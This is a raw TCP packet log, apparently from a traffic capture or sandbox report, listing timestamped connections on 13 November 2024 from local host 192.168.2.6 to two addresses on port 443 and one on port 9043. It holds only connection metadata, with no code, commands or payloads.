Nov 13, 2024 18:23:22.318247080 CET	50065	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:22.318262100 CET	443	50065	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:22.888437986 CET	443	50065	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:22.888578892 CET	50065	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:22.888645887 CET	443	50065	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:22.888730049 CET	50065	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:22.888745070 CET	443	50065	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:22.888856888 CET	50065	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:22.889157057 CET	443	50065	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:22.889266014 CET	443	50065	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:22.889337063 CET	50065	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:22.901556015 CET	50065	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:22.901590109 CET	443	50065	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:22.964432001 CET	50066	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:22.964472055 CET	443	50066	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:22.964618921 CET	50066	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:22.988432884 CET	50066	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:22.988451004 CET	443	50066	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:23.601006031 CET	443	50066	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:23.601064920 CET	50066	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:23.601608038 CET	50066	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:23.601618052 CET	443	50066	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:23.603106976 CET	50066	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:23.603116035 CET	443	50066	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:23.988975048 CET	443	50066	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:23.989033937 CET	50066	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:23.989053011 CET	443	50066	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:23.989068031 CET	443	50066	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:23.989113092 CET	50066	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:23.989113092 CET	50066	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:23.989382029 CET	50066	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:23.989402056 CET	443	50066	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:23.994173050 CET	50067	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:23.994230032 CET	443	50067	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:23.994349957 CET	50067	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:23.994576931 CET	50067	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:23.994589090 CET	443	50067	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:24.783565998 CET	443	50067	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:24.783668995 CET	50067	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:24.784106016 CET	50067	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:24.784111977 CET	443	50067	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:24.785250902 CET	50067	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:24.785257101 CET	443	50067	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:25.167884111 CET	443	50067	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:25.167951107 CET	50067	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:25.167963982 CET	443	50067	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:25.168004036 CET	50067	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:25.168427944 CET	443	50067	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:25.168474913 CET	50067	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:25.168478966 CET	443	50067	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:25.168493032 CET	443	50067	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:25.168539047 CET	50067	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:25.168539047 CET	50067	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:25.168593884 CET	50067	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:25.168606043 CET	443	50067	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:25.168617010 CET	50067	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:25.168646097 CET	50067	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:25.193185091 CET	50068	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:25.193232059 CET	443	50068	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:25.193619013 CET	50068	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:25.193679094 CET	50068	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:25.193696976 CET	443	50068	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:26.057557106 CET	443	50068	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:26.057647943 CET	50068	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:26.058310986 CET	50068	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:26.058327913 CET	443	50068	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:26.059488058 CET	50068	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:26.059494019 CET	443	50068	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:27.031496048 CET	443	50068	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:27.031625986 CET	50068	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:27.031639099 CET	443	50068	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:27.031747103 CET	443	50068	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:27.031764030 CET	50068	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:27.031886101 CET	50068	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:27.032025099 CET	50068	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:27.032037020 CET	443	50068	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:27.037698984 CET	50069	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:27.037743092 CET	443	50069	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:27.037832022 CET	50069	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:27.038134098 CET	50069	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:27.038149118 CET	443	50069	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:27.930869102 CET	443	50069	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:27.930927992 CET	50069	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:27.931369066 CET	50069	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:27.931380033 CET	443	50069	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:27.932480097 CET	50069	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:27.932485104 CET	443	50069	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:28.476480961 CET	443	50069	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:28.476552010 CET	50069	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:28.476567030 CET	443	50069	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:28.476661921 CET	50069	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:28.476953030 CET	50069	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:28.476969957 CET	443	50069	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:28.487481117 CET	50070	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:28.487519979 CET	443	50070	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:28.487662077 CET	50070	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:28.487821102 CET	50070	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:28.487840891 CET	443	50070	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:29.432871103 CET	443	50070	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:29.432945967 CET	50070	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:29.433432102 CET	50070	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:29.433470011 CET	443	50070	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:29.434740067 CET	50070	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:29.434758902 CET	443	50070	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:29.956016064 CET	443	50070	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:29.956096888 CET	443	50070	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:29.956295967 CET	50070	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:29.956628084 CET	50070	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:29.956655025 CET	443	50070	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:29.962315083 CET	50071	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:29.962356091 CET	443	50071	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:29.962491035 CET	50071	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:29.962692976 CET	50071	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:29.962702990 CET	443	50071	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:30.835515976 CET	443	50071	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:30.836936951 CET	50071	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:30.847466946 CET	50071	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:30.847491026 CET	443	50071	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:30.907434940 CET	50071	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:30.907444954 CET	443	50071	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:31.749264002 CET	443	50071	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:31.749346018 CET	50071	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:31.749387980 CET	443	50071	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:31.749438047 CET	50071	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:31.749485970 CET	443	50071	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:31.749541044 CET	50071	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:31.749552011 CET	443	50071	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:31.749593019 CET	50071	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:31.749623060 CET	443	50071	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:31.749748945 CET	50071	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:31.749757051 CET	443	50071	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:31.749768972 CET	50071	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:31.767612934 CET	50072	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:31.767699003 CET	443	50072	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:31.767786026 CET	50072	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:31.768065929 CET	50072	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:31.768091917 CET	443	50072	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:31.853583097 CET	50031	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:23:31.858299971 CET	50073	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:23:31.859198093 CET	9043	50031	45.143.166.230	192.168.2.6
Nov 13, 2024 18:23:31.859278917 CET	50031	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:23:31.863200903 CET	9043	50073	45.143.166.230	192.168.2.6
Nov 13, 2024 18:23:31.863312960 CET	50073	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:23:31.863652945 CET	50073	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:23:31.868582010 CET	9043	50073	45.143.166.230	192.168.2.6
Nov 13, 2024 18:23:32.368439913 CET	443	50072	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:32.368536949 CET	50072	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:32.369029999 CET	50072	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:32.369035959 CET	443	50072	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:32.370397091 CET	50072	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:32.370400906 CET	443	50072	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:32.720889091 CET	9043	50073	45.143.166.230	192.168.2.6
Nov 13, 2024 18:23:32.720942974 CET	9043	50073	45.143.166.230	192.168.2.6
Nov 13, 2024 18:23:32.720967054 CET	50073	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:23:32.720983028 CET	9043	50073	45.143.166.230	192.168.2.6
Nov 13, 2024 18:23:32.721013069 CET	9043	50073	45.143.166.230	192.168.2.6
Nov 13, 2024 18:23:32.721031904 CET	50073	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:23:32.721056938 CET	50073	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:23:32.723527908 CET	50073	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:23:32.728435040 CET	9043	50073	45.143.166.230	192.168.2.6
Nov 13, 2024 18:23:32.777982950 CET	443	50072	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:32.778067112 CET	50072	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:32.778090000 CET	443	50072	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:32.778137922 CET	50072	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:32.778182030 CET	443	50072	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:32.778232098 CET	50072	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:32.778243065 CET	443	50072	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:32.778285980 CET	50072	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:32.778378010 CET	443	50072	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:32.778434038 CET	50072	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:32.778453112 CET	443	50072	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:32.778475046 CET	50072	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:32.783977032 CET	50074	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:32.784019947 CET	443	50074	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:32.784147978 CET	50074	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:32.784352064 CET	50074	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:32.784369946 CET	443	50074	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:32.968978882 CET	9043	50073	45.143.166.230	192.168.2.6
Nov 13, 2024 18:23:32.969074011 CET	50073	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:23:32.969896078 CET	50073	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:23:32.974946022 CET	9043	50073	45.143.166.230	192.168.2.6
Nov 13, 2024 18:23:33.417850018 CET	9043	50073	45.143.166.230	192.168.2.6
Nov 13, 2024 18:23:33.417934895 CET	50073	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:23:33.673333883 CET	443	50074	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:33.673409939 CET	50074	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:33.673886061 CET	50074	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:33.673892975 CET	443	50074	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:33.674993038 CET	50074	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:33.674997091 CET	443	50074	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:34.477643967 CET	443	50074	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:34.477734089 CET	443	50074	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:34.477741003 CET	50074	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:34.477792978 CET	50074	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:34.478060007 CET	50074	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:34.478079081 CET	443	50074	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:34.487133026 CET	50075	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:34.487179995 CET	443	50075	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:34.487247944 CET	50075	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:34.487495899 CET	50075	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:34.487509966 CET	443	50075	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:35.075521946 CET	50075	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:35.082277060 CET	50076	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:35.082329988 CET	443	50076	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:35.082405090 CET	50076	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:35.082735062 CET	50076	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:35.082753897 CET	443	50076	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:35.962501049 CET	443	50076	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:35.965995073 CET	50076	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:35.976454973 CET	50076	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:35.976469040 CET	443	50076	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:35.977792978 CET	50076	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:35.977799892 CET	443	50076	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:36.851052046 CET	443	50076	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:36.851197004 CET	50076	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:36.851217031 CET	443	50076	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:36.851280928 CET	50076	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:36.851303101 CET	443	50076	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:36.851370096 CET	50076	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:36.851715088 CET	50076	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:36.851732016 CET	443	50076	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:36.862241983 CET	50077	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:36.862291098 CET	443	50077	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:36.862368107 CET	50077	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:36.862632036 CET	50077	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:36.862646103 CET	443	50077	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:37.485161066 CET	443	50077	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:37.485236883 CET	50077	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:37.488238096 CET	50077	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:37.488245964 CET	443	50077	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:37.488462925 CET	443	50077	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:37.488507986 CET	50077	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:37.488887072 CET	50077	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:37.535322905 CET	443	50077	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:37.875611067 CET	443	50077	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:37.875708103 CET	443	50077	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:37.878056049 CET	50077	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:37.881030083 CET	50077	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:37.881052017 CET	443	50077	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:37.883061886 CET	50078	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:37.883096933 CET	443	50078	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:37.883301973 CET	50078	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:37.885900974 CET	50078	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:37.885912895 CET	443	50078	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:38.786341906 CET	443	50078	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:38.786474943 CET	50078	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:38.793703079 CET	50078	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:38.793735981 CET	443	50078	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:38.843569040 CET	50078	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:38.843594074 CET	443	50078	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:39.402934074 CET	443	50078	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:39.403008938 CET	50078	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:39.403024912 CET	443	50078	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:39.403068066 CET	50078	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:39.403101921 CET	443	50078	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:39.403150082 CET	50078	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:39.403155088 CET	443	50078	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:39.403197050 CET	50078	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:39.403248072 CET	443	50078	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:39.403295994 CET	50078	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:39.403516054 CET	50078	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:39.403529882 CET	443	50078	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:39.424489021 CET	50079	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:39.424532890 CET	443	50079	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:39.424608946 CET	50079	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:39.424813986 CET	50079	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:39.424828053 CET	443	50079	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:40.157839060 CET	443	50079	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:40.158051014 CET	50079	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:40.158307076 CET	50079	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:40.158318996 CET	443	50079	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:40.161905050 CET	50079	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:40.161917925 CET	443	50079	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:40.690237999 CET	443	50079	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:40.690335989 CET	50079	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:40.690354109 CET	443	50079	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:40.690479994 CET	443	50079	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:40.690596104 CET	50079	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:40.690654993 CET	50079	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:40.690985918 CET	50079	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:40.691003084 CET	443	50079	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:40.697899103 CET	50080	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:40.697963953 CET	443	50080	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:40.698075056 CET	50080	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:40.698354959 CET	50080	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:40.698384047 CET	443	50080	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:41.606012106 CET	443	50080	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:41.606161118 CET	50080	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:41.606764078 CET	50080	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:41.606770992 CET	443	50080	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:41.607989073 CET	50080	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:41.607995033 CET	443	50080	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:42.390721083 CET	443	50080	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:42.390806913 CET	50080	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:42.390815973 CET	443	50080	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:42.390883923 CET	50080	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:42.391043901 CET	50080	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:42.391058922 CET	443	50080	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:42.549530983 CET	50081	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:42.549587011 CET	443	50081	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:42.549668074 CET	50081	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:42.550134897 CET	50081	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:42.550152063 CET	443	50081	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:43.466252089 CET	443	50081	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:43.466327906 CET	50081	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:43.466912031 CET	50081	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:43.466934919 CET	443	50081	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:43.468183041 CET	50081	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:43.468189001 CET	443	50081	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:44.184659004 CET	443	50081	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:44.184736013 CET	443	50081	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:44.184791088 CET	50081	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:44.185596943 CET	50081	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:44.185679913 CET	50081	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:44.185722113 CET	443	50081	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:44.190150023 CET	50082	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:44.190191984 CET	443	50082	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:44.190428972 CET	50082	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:44.190553904 CET	50082	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:44.190566063 CET	443	50082	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:44.811503887 CET	443	50082	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:44.811578035 CET	50082	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:44.812195063 CET	50082	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:44.812205076 CET	443	50082	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:44.813321114 CET	50082	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:44.813325882 CET	443	50082	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:45.220647097 CET	443	50082	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:45.220722914 CET	50082	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:45.220740080 CET	443	50082	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:45.220784903 CET	50082	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:45.221092939 CET	50082	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:45.221112967 CET	443	50082	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:45.236845970 CET	50083	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:45.236949921 CET	443	50083	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:45.237047911 CET	50083	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:45.237257004 CET	50083	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:45.237294912 CET	443	50083	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:46.120349884 CET	443	50083	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:46.120579958 CET	50083	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:46.121855021 CET	50083	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:46.121855021 CET	50083	443	192.168.2.6	104.21.92.105
